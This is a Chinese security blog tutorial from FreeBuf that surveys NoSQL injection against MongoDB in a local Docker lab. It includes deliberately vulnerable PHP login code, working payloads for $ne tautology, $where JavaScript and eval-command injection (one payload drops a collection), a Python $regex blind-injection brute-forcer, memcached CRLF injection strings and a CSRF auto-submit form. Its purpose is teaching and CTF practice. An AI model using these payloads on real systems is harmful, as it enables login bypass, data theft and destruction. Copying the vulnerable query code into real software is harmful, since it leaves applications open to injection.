freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Nosql注入总结
2023-02-24 20:44:58
所属地 浙江省

一、前置知识

1.什么是NOSQL

NoSQL 数据库(意即"Not Only SQL,不仅仅是SQL")并非表格格式,其存储数据的方式与关系表不同。NoSQL 数据库的类型因数据模型而异。主要类型包括文档、键值、宽列和图形。它们提供了灵活的模式,可以随大量数据和高用户负载而轻松扩展。NoSQL 数据库是以关系表以外的格式存储数据的数据库,是一种非关系型数据库。

随着存储成本迅速降低,存储和查询所需的数据应用程序数量也增加了。这些数据具有各种形状和大小(结构化、半结构化和多态性),因此预先定义架构几乎变得不可能。于是在二十世纪晚期出现了 NoSQL 数据库,NoSQL 数据库允许开发者存储大量非结构化数据,从而为他们提供了很高的灵活性。

另外云计算也越来越流行,开发者开始使用公有云来托管其应用程序和数据。他们希望能够在多个服务器和区域之间分布数据,以使其应用程序具有弹性,可以横向扩展而不是纵向扩展以及对数据进行智能地理定位。一些 NoSQL 数据库(如 MongoDB)提供了这些功能。

2.NSQL数据库类型

NOSQL主要有四种数据类型,分别是文档数据库,键值数据库,宽列存储数据库和图形数据库。

  • 文档数据库将数据存储在类似于 JSON(JavaScript 对象表示法)对象的文档中。每个文档包含成对的字段和值。这些值通常可以是各种类型,包括字符串、数字、布尔值、数组或对象等,并且它们的结构通常与开发者在代码中使用的对象保持一致。由于字段值类型和强大的查询语言的多样性,因此文档数据库非常适合各种各样的使用案例,并且可以用作通用数据库。它们可以横向扩展以适应大量数据。

  • 键值数据库是一种较简单的数据库,其中每个项目都包含键和值。通常只能通过引用键来检索值,因此学习如何查询特定键值对通常很简单。键值数据库非常适合需要存储大量数据但无需执行复杂查询来检索数据的使用案例。常见的使用案例包括存储用户首选项或缓存。Redis 和 DynanoDB 是流行的键值数据库。

  • 宽列存储将数据存储在表、行和动态列中。宽列存储提供了比关系型数据库更大的灵活性,因为不需要每一行都具有相同的列。许多人认为宽列存储是二维键值数据库。宽列存储非常适合需要存储大量数据并且可以预测查询模式的情况。宽列存储通常用于存储物联网数据和用户配置文件数据。Cassandra 和 HBase 是较受欢迎的两种宽列存储。

  • 图形数据库将数据存储在节点和边中。节点通常存储有关人物、地点和事物的信息,而边缘则存储有关节点之间的关系的信息。在需要遍历关系以查找模式(例如社交网络,欺诈检测和推荐引擎)的使用案例中,图形数据库非常出色。Neo4j 和 JanusGraph 是图形数据库的示例。

image-20230223110541088

3.NOSQL数据库优点

1、快速读写

主要例子有Redis,由于其逻辑简单,而且纯内存操作,使得其性能非常出色,单节点每秒可以处理超过10万次读写操作。

2、方便扩展

NoSQL去掉关系数据库的关系型特性,很容易横向扩展,摆脱了以往老是纵向扩展的诟病。

3、低廉成本

相较于关系型数据库来说,企业级授权费用降低很多。

4、灵活的数据类型

NoSQL无需事先为要存储的数据建立字段,随时可以存储自定义的数据格式。


二、NOSQL注入

1.原理

NoSQL 注入不同于传统的SQL注入。传统的SQL注入是攻击者在网站未作防护的情况下利用特意构造的SQL语句替换原本的语句来达到读取数据库信息,获取权限等操作。虽然NOSQL不同于传统SQL,但是,有人的地方就有江湖,有数据库存在的地方就可能存在 SQL 注入漏洞。NoSQL 数据库也不例外。区别在于NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。

NOSQL注入攻击流程如下图所示(图片来之OWASP)

image-20230223122703156

2.分类

有两种 NoSQL 注入分类的方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

还有背负式查询 、跨域违规等

  • 重言式注入又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

  • 联合查询注入联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

  • JavaScript 注入MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

  • 盲注当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

  • 背负式查询

    在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。

  • 跨域违规

    HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。在本文中,我们将展示此类跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。

三、环境搭建

后面的漏洞复现我就用MongoDB数据库来演示了

image-20230223125732330

1.docker搭建MongoDB环境

docker search mongodb  docker搜索mongodb镜像
docker pull mongo:latest 拉取最新版本的mongodb镜像
docke images 查看镜像
docker run -d -p 27017:27017 --name mongodb mongo 运行容器

image-20230223124742567

docker exec -it d99e61e5c546 /bin/bash  进入容器操作

image-20230223125315231

mongodb的一些基本操作

创建数据库
use admin   //创建一个admin数据库,如果有admin数据库就选择admin数据库
插入数据
db.admin.insert({'username':'test','password':'test'})//默认会自动创建admin集合
查询数据
db.admin.find() //查询所有数据
show dbs   //查看所有数据库
show collections //查看集合
db.collection.drop() //删除集合
db.createCollection(name, options) //创建集合

image-20230223130010843

2.测试数据准备

use test  //创建一个test数据库
db.createCollection('users') //创建一个users集合
//往users集合中插入一些用户名和密码
db.users.insert({username: 'admin', password: '123456'})
db.users.insert({username: 'admin1', password: '111111'})
db.users.insert({username: 'admin2', password: '222222'})
db.users.insert({username: 'admin3', password: '333333'})

image-20230223131824925

然后编写一个用于mongodb查询的php文件

<?php
#连接数据库
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
#查询语句
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
#执行语句,指定查询的数据库中的集合,查询test库的users集合
$result = $manager->executeQuery('test.users', $query)->toArray();  //toArray()将集合转成数组
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>

3.php扩展安装

要想通过php连接到容器内的mogodb数据库,我们得先安装相关php扩展,可以直接通过命令安装

pecl install mongodb

如果没有pecl命令得话。可以在Kali 中通过命令安装PECL,步骤如下:

apt-get update
运行以下命令以安装PEAR(PHP扩展和应用存储库)
apt-get install php-pear
运行以下命令以安装PHP开发工具包
apt-get install php-dev
最后,运行以下命令以安装PECL
apt-get install php-pear php-dev libmcrypt-dev

在上述步骤完成之后,就已经成功安装了PECL,并且可以在PHP代码中使用PECL扩展了。

出现这个就说明安装成功了

image-20230223161239259

然后再修改下php.ini里的配置文件,不知道位置的话使用php --ini查看

extension_dir=/usr/lib/php/20220829/
extension=mongodb.so
注意:你需要指明 extension_dir 配置项的路径。
可以通过以下命令查看目录地址:
$ php -i | grep extension_dir

image-20230223204330936

这里出现了一个小bug,页面显示的php配置信息是8.1的,而我修改的php.ini确实8.2的。

image-20230223190812972

直接使用命令卸载多出来的那个版本就好了

apt-get remove php8.1*  libapache2-mod-php8.1*

然后再照着上面的步骤重新安装下扩展,要注意下配置文件的位置

image-20230223200842101

这样就算安装好了扩展

image-20230223200917824

这样就算环境搭建成功了

image-20230223204518262

四、漏洞分析及复现

1.重言式注入

又称永真式 ,既在条件语句中注入代码使其表达式判定结果永远为真,从而绕过认证或访问机制。这里以mongodb为例,分析下漏洞产生的原因。首先我们需要了解下部分mongodb的操作符。

方法名描述
$gt大于
$lte小于等于
$in包含
$nin不包含
$lt小于
$gte大于等于
$ne不等于
$eq等于
$and
$nor$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

模糊查询用正则式:db.customer.find({'name': {'$regex':'.s.'} })

在这些操作符中,$ne就是我们在重言式注入中需要利用到的那个。它的作用是将不等于指定值的数据都查询出来。比如$ne=1时就是将所有不等于1的数据都查询出来。

通过构造好的查询语句我们可以查到一组账户和密码

username=admin&password=123456

image-20230223212241457

我们提供的用户名和密码传入后端后会被处理成

array(
'username' => 'admin',
'password' => '123456'
)

进入 MongoDB 后执行的查询命令为

db.users.find({'username':'admin', 'password':'123456'})

image-20230223213130876

这时因为没有任何过滤,所以如果我们构造POC为,就能将数据库中所有的账户密码都查询出来

username[$ne]=1&password[$ne]=1

image-20230223213434603

同样,进入后端的参数会变成

array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)

查询命令也会变成

db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

image-20230224091826979

对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1 那么,也就是发送了一个 value 的值为 1 的数据。如果发送 value[$ne]=1 则 PHP 会将其转换为数组 value=array($ne=>1),当数据到了进入 MongoDB 后,原来一个单一的 {"value":1} 查询就变成了一个 {"value":{$ne:1} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

2.联合查询注入

我们知道,在SQL注入中,有时候我们可以通过拼接字符串的方式绕过一些过滤,比如select+name,password+from+user。或者是常见的万能密码利用方法,比如 admin' or 1=1#这样闭合前面的引号利用or使逻辑判断永远为真,从而达到绕过登录验证的目的进入后台等。虽然mongodb的查询语句是json格式的,但我们同样可以使用字符串拼接的方式来使它逻辑判断永远为真。

我们假如后端某处的登录代码是这样的

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

当输入账号密码后,正常的查询语句是这样的

{'username':'admin', 'password':'123456'}

由于这里没做任何过滤,所以我们可以构造恶意的payload来绕过登录

username=admin', $or: [ {}, {'a': 'a&password=' }]

这样拼接payload后的查询语句就变成了

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }]}

我们可以用mongodb看看效果

db.users.find({ username: 'admin', $or: [ {}, {'a':'a', password: '' }]})

image-20230224095446418

这样我们就不需要密码也能登录了,但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这种注入方法简单了解一下就好了。

3.JavaScrip注入

MongoDB Server 是支持 JavaScript 的,可以使用 JavaScript 进行一些复杂事务和查询,也允许在查询的时候执行 JavaScript 代码。但是如果传递不干净的用户输入到这些查询中,则可能会注入任意的 JavaScript 代码,导致非法的数据获取或篡改。而Mongodb中的$where操作符就可以用来执行Javascript语句。

首先我们需要了解一下 $where 操作符,$where操作符可以在MongoDB查询语句中使用,允许你通过JavaScript表达式执行高级查询。 $where操作符的值应该是一个JavaScript函数或字符串。函数或字符串中的JavaScript代码将在查询期间执行,并返回true或false,以确定文档是否匹配查询条件。

在 MongoDB 中,$where 操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reduce、group 命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以在自定义的函数里获取数据库的所有信息。并且因为该操作符允许通过JavaScript表达式执行高级查询。如果攻击者能够注入恶意JavaScript代码,则可以利用此漏洞执行任意查询,甚至删除或修改文档。

举个例子

db.users.find( { $where: function() { return this.username == 'admin'; } } )

image-20230224102143460

该查询返回在users集合中username等于admin的所有文档。

下面我们先准备个用于测试的php文件

<?php
#连接数据库
$manager = new MongoDB\Driver\Manager("mongodb://172.17.0.3:27017");
$username = $_GET['username'];
$password = $_GET['password'];
#查询语句
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
#执行语句,指定查询的数据库中的集合,查询test库的users集合
$result = $manager->executeQuery('test.users', $query)->toArray();  //toArray()将集合转成数组
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
  • MongoDB 2.4 之前 在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reduce、group 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。

    如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

    username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
  • MongoDB 2.4 之后 MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据就可以查出所有用户

    username=1&password=1';return true//

    username=1&password=1';return true;var a='1

    image-20230224104649745

这是因为发送 payload 进入 PHP 后的数据如下:

array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
  return true;
}else{
  return false;
}
}
")

进入 MongoDB 后执行的查询命令为:

db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})

image-20230224105030662

我们从代码中可以看出,password 中的 return true 使得整个 JavaScript 代码提前结束并返回了 true,这样就构造出了一个永真的条件并完成了 NoSQL 注入。

但是,这里的payload的构造主要取决于后端的php代码是怎么写的,假如后端的php代码如下图所示

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$query_body = array(
'$where' => "function () {
var username = '" . $_REQUEST["username"] . "';
var password = '" . $_REQUEST["password"] . "';
if (username == 'admin' && password == '123456') {
   return true;
} else {
   return false;
}
}"
);
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
if (count($cursor) > 0) {
echo "ok";
} else {
echo "no";
}
?>

这时候我们需要构造的payload就变成了

username=1&password=1;return ture;

后端处理数据时就会变成

var username = '" . $_REQUEST["username"] . "';
var password = '" . $_REQUEST["password"] . "';
return ture;

4.使用 Command 方法造成的注入

MongoDB Driver 一般都提供直接执行 Shell 命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用。在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行。

但是在 PHP 官网中就已经友情提醒了不要这样使用:

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

还有人喜欢用 Command 去实现 MongoDB 的 distinct方法,如下:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];

$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );

$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>

这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 payload:

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多了

5.盲注

NoSQL的盲注和SQL注入盲注类似,都是不返回数据 ,只是根据错误页面的返回来判断是否存在注入。 此处我们需要用到的MongoDB的 操作符来进行盲注$eq(等于)和$regex(正则匹配)。

$regex为查询中的模式匹配字符串提供正则表达式功能 。MongoDB使用具有UTF-8支持的Perl兼容正则表达式(即“ PCRE”)版本8.42。

要使用$regex,请使用以下语法之一:

{ <field>: { $regex: /pattern/, $options: '<options>' } }
{ <field>: { $regex: 'pattern', $options: '<options>' } }
{ <field>: { $regex: /pattern/<options> } }

在MongoDB中,您还可以使用正则表达式对象(即/pattern/)来指定正则表达式:

{ <field>: /pattern/<options> }

更详细的用法可以去官方文档了解$正则表达式_MonogDB 中文网 (mongodb.net.cn)

我们先修改下index.php来做测试,因为既然是盲注,就不会像之前一样把账户密码都报出来。

<?php
#连接数据库
$manager = new MongoDB\Driver\Manager("mongodb://172.17.0.3:27017");
$username = $_GET['username'];
$password = $_GET['password'];
#查询语句
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
#执行语句,指定查询的数据库中的集合,查询test库的users集合
$result = $manager->executeQuery('test.users', $query)->toArray();  //toArray()将集合转成数组
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
}
}
else{
echo 'Login Failed';
}
?>


在已知用户名的情况下,我们通过正则匹配来获取密码

//判断密码长度
http://127.0.0.1/index.php?username[$eq]=time&password[$regex]=.{5}

.{5} 表示匹配任意 5 个字符,这个正则表达式可以匹配长度为 5 的任意字符串,也就是说,密码必须是 5 个字符长的任意组合。

(. 是一个元字符,表示匹配任意单个字符(除了换行符)。在这个正则表达式中,.{5} 表示匹配任意5个字符,因为 . 匹配任意单个字符,而 {5} 表示重复5次)

逐渐增大数字,当数字为7时显示登录失败,而数字为6时登录成功(对应的就是有回显和无回显的情况),就说明密码长度为6

image-20230224192636516

image-20230224192702210


提交的数据进入 PHP 后的数据如下:

array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)

进入 MongoDB 后执行的查询命令为:

db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})

image-20230224193103740

不过对于盲注来说还是用脚本跑为宜,不然就比较费时费力,脚本比较简略,感兴趣的大佬可以自己改改

import requests
import string

password = ''
url = 'http://127.0.0.1/index.php'

while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

   # When the method is GET
   get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
   # When the method is POST
   post_payload = {
       "username": "admin1",
       "password[$regex]": '^' + password + c
  }
   # When the method is POST with JSON
   json_payload = """{"username":"admin1", "password":{"$regex":"^%s"}}""" % (password + c)
   #headers = {'Content-Type': 'application/json'}
   #r = requests.post(url=url, headers=headers, data=json_payload)   # 简单发送 json

   r = requests.post(url=url, data=post_payload)
   if 'Login Success' in r.text:
       print("[+] %s" % (password + c))
       password += c

6.背负式查询

背负式查询”(Burdened Query)是指一种查询模式,其中数据库服务器(如MongoDB)会从单个查询请求中执行大量工作,而不是将负载分散到多个查询请求中。通常,数据库服务器在执行查询时会对负载进行平衡,以确保它们不会过度集中在任何一个查询请求上。但是,在背负式查询中,服务器需要处理大量的计算、内存和磁盘资源,以便在单个查询请求中处理大量数据。

在php5.5的时候该漏洞被修复,由于网上资料较少,所以此处在网上摘抄了一部分作为了解。 语法: set<KEY><FLAG><EXPIRE_TIME><LENGTH>,

当PHP配置的函数被调用时,接收参数如下:

$memcached->set('key', 'value'); 该驱动程序未能针对带有回车\r(0x0D)和换行的\n(0x0A)的ASCII码采取措施,导致攻击者有机会注入包含有键参数的新命令行和其 他非计划内的命令到缓存中8。如下代码,其中的$param是用户输入并作为键来作用:

$memcached=new Memcached(); $memcached ->addServer('localhost',11211); $memcached->set($param, "some value");

攻击者可以提供以下输入进行注入攻击: "key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n" 增加到数据库中的第一个键是具有"some value"值的key1。攻击者可以增加其他的、非计划内的键到数据库中,即带有"inject"值的key2。这种注入也可以发生在get命令上。看一下Memcached主页上的示例,它以这三行开头: Function get_foo(foo_id) foo = memcached_get("foo: ".foo_id) return foo if defined foo 这个示例展示了Memcached的典型用法,在处理输入之前首先检查在数据库中是不是已经存在了。假设用类似代码检查从用户那里接收的认证令牌,验证他们是不是登录过了,那么就可以通过传递以下作为令牌的字符串来利用它: "random_token\r\nsetmy_crafted_token036004\r\nroot\r\n"

当这个字符串作为令牌传递时,数据库将检查这个"random_token"是否存在,然后将添加一个具有"root"值的"my_crafted_token"。之后,攻击者就可以发送具有root身份的my_crafted_token令牌了。可以被这项技术攻击的其他指令还有: incr <Key><Amount>decr <Key><Amount>delete <Key>在此,incr用于增加一个键的值,decr用于缩减一个键的值,以及delete用于删除一个键。攻击者也可以用像set和get函数一样的手段来使用带来自己键参数的这三个函数。攻击者可以使用多条目函数进行同样的注入:deleteMulti、getMulti和setMulti,其中每一个键字段都可以被注入。回车换行注入可以被用于连接多个get请求。在一项我们进行的测试中,包括原始get在内最多可以连接17条。这样注入返回的结果是第一个键及其相应的值。

7.跨域违规

NoSQL数据库的另一个常见特点是,他们能够常常暴露能够从客户端应用进行数据库查询的HTTP REST API。暴露REST API 的数据库包括MongoDB、CouchDB和HBase。暴露REST API就直接把数据库暴露给应用了,甚至是仅基于HTML5的应用,因为它不再需要间接的驱动程序了,让任何编程语言都可以在数据库上执行HTTP查询。这么做的优势非常明显,但这一特点是否伴随着安全风险?我们的回答是肯定的:这种RESTAPI给跨站点请求伪造(CSRF)暴露了数据库,让攻击者绕过了防火墙和其他外围防御。HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。是一种跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。现在让我们看看CSRF攻击是如何使用这个函数增加新文件到管理员集合中的,从而在hr数据库(它被认为处于安全的内部网络中)中增加了一个新的管理员用户,如下图所示。若想攻击成功,必须要满足几个条件。首先,攻击者必须能操作一个网站,要么是他们自己的网站,要么是利用不安全的网站。攻击在该网站放置一个HTML表单以及一段将自动提交该表单的脚本,比如:

<form action=" http://safe.internal. db/hr/admins/_insert"
method="POST" name="csrf">
<input type="text" name="docs" value=" [{"username":attacker}]"
/>
</form>
<script> document.forms[0].submit(); </script>

image-20230224203109125

藏在防火墙后的内部网络内的用户被欺骗访问一个恶意外部网页,这将导致在内部网络的NoSQL数据库的REST API上执行非预期的查询。第二,攻击者必须通过网络诱骗或感染用户经常访问的网站欺骗用户进入被感染的网站。最后,用户必须许可访问Mongoose HTTP接口。用这种方式,攻击者不必进入内部网络即可执行操作,在本例中,是插入新数据到位于内部网络中的数据库中。这种攻击执行很简单,但要求攻击者要提前侦察去识别主机、数据库名称,等等。

五、相关例题

1.hackthebox靶机Shoppy

这也是我写这个文档的原因,因为在那个靶机中出现了这个不会的知识点,于是就像找时间好好了解下,靶机的内容在我另一篇文章。在那个靶机中主要用到了Nodejs环境,而在Nodejs中恰好就存在MongoDB 注入的问题,并且是重言式注入。所以我们可以构造万能密码绕过登录验证。

2.node.js注入(靶 场)

靶场地址在https://github.com/Charlie-belmer/vulnerable-node-app。我这里篇幅受限就不演示打靶过程了。有兴趣的师傅可以试试。

六、总结

闲来无事,花时间学习并整理了这样一篇文章,期间也参考了不少其他大佬写的(毕竟我也是个还在不断学习的萌新哈哈)。文章中有错误的地方和不好的地方麻烦各位大佬指点一下[抱拳],十分感谢。关于nosql的内容其实应该也不只这么点,应该还有redis相关的内容,但篇幅有限就先写这么多。后面有时间了再补上。

七、参考

NoSQL 是什么? NoSQL 数据库详解 | MongoDB

GOD16-NOSQL.pdf (owasp.org)

NoSQL注入的分析和缓解 - 运维派 (yunweipai.com)

$正则表达式_MonogDB 中文网 (mongodb.net.cn)

Nosql 注入从零到一 - 先知社区 (aliyun.com)

# 漏洞 # 网络安全 # web安全 # NoSQL
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录